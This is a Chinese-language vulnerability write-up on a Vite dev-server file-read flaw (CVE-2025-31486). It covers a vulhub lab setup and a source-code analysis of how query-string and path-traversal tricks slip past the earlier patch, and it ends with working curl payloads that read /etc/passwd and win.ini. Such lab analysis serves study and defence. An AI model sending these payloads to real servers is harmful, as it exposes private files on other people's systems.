Vite 文件读取漏洞(CVE-2025-31486)

环境搭建:

docker-compose.yml

1
2
3
4
5
services:
web:
image: vulhub/vite:6.2.2
ports:
- "5173:5173"

访问Vite服务器:http://your-ip:5173

漏洞分析:

CVE-2025-31125修复不完善:补丁仅添加对inline的正则校验

https://github.com/vitejs/vite/pull/19761/commits/b09b03d6cf2da73969576b555e9dc25134355771

当满足.wasm?init结尾时,会调用fileToUrl方法

https://github.com/vitejs/vite/blob/v6.2.4/packages/vite/src/node/plugins/wasm.ts#L59

fileToUrl方法会继续调用fileToDevUrl方法,当满足inlineRE.test和svgExtRE.test的正则时,会调用readFile读取文件,因此/etc/passwd?inline?.wasm?init和/etc/passwd?.svg?.wasm?init都满足

https://github.com/vitejs/vite/blob/v6.2.4/packages/vite/src/node/plugins/asset.ts

ensureServingAccess正则绕过

官方还给出了第二个poc:

curl http://ip:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw

在ensureServingAccess方法中只要isFileServingAllowed方法返回true即可通过校验

https://github.com/vitejs/vite/blob/v6.2.4/packages/vite/src/node/server/middlewares/static.ts#L262

isFileServingAllowed方法会调用fsPathFromUrl方法处理url,然后调用fsPathFromUrl方法判断是否为true

https://github.com/vitejs/vite/blob/v6.2.4/packages/vite/src/node/server/middlewares/static.ts

fsPathFromUrl方法会调用cleanUrl方法,cleanUrl方法使用正则移除url中的第一个?或者#开始的到结尾的部分,也就是得到/x/x/x/vite-project/,而这个目录路径是合法的,后续的处理逻辑又是正常的路径规范化处理,最终得到/etc/passwd

https://github.com/vitejs/vite/blob/v6.2.4/packages/vite/src/node/utils.ts#L270

https://github.com/vitejs/vite/blob/main/packages/vite/src/shared/utils.ts#L31

漏洞复现:
1
2
curl http://ip:5173/@fs/etc/passwd?import?.svg?.wasm?init
curl http://ip:5173/@fs/C:/windows/win.ini?import?.svg?.wasm?init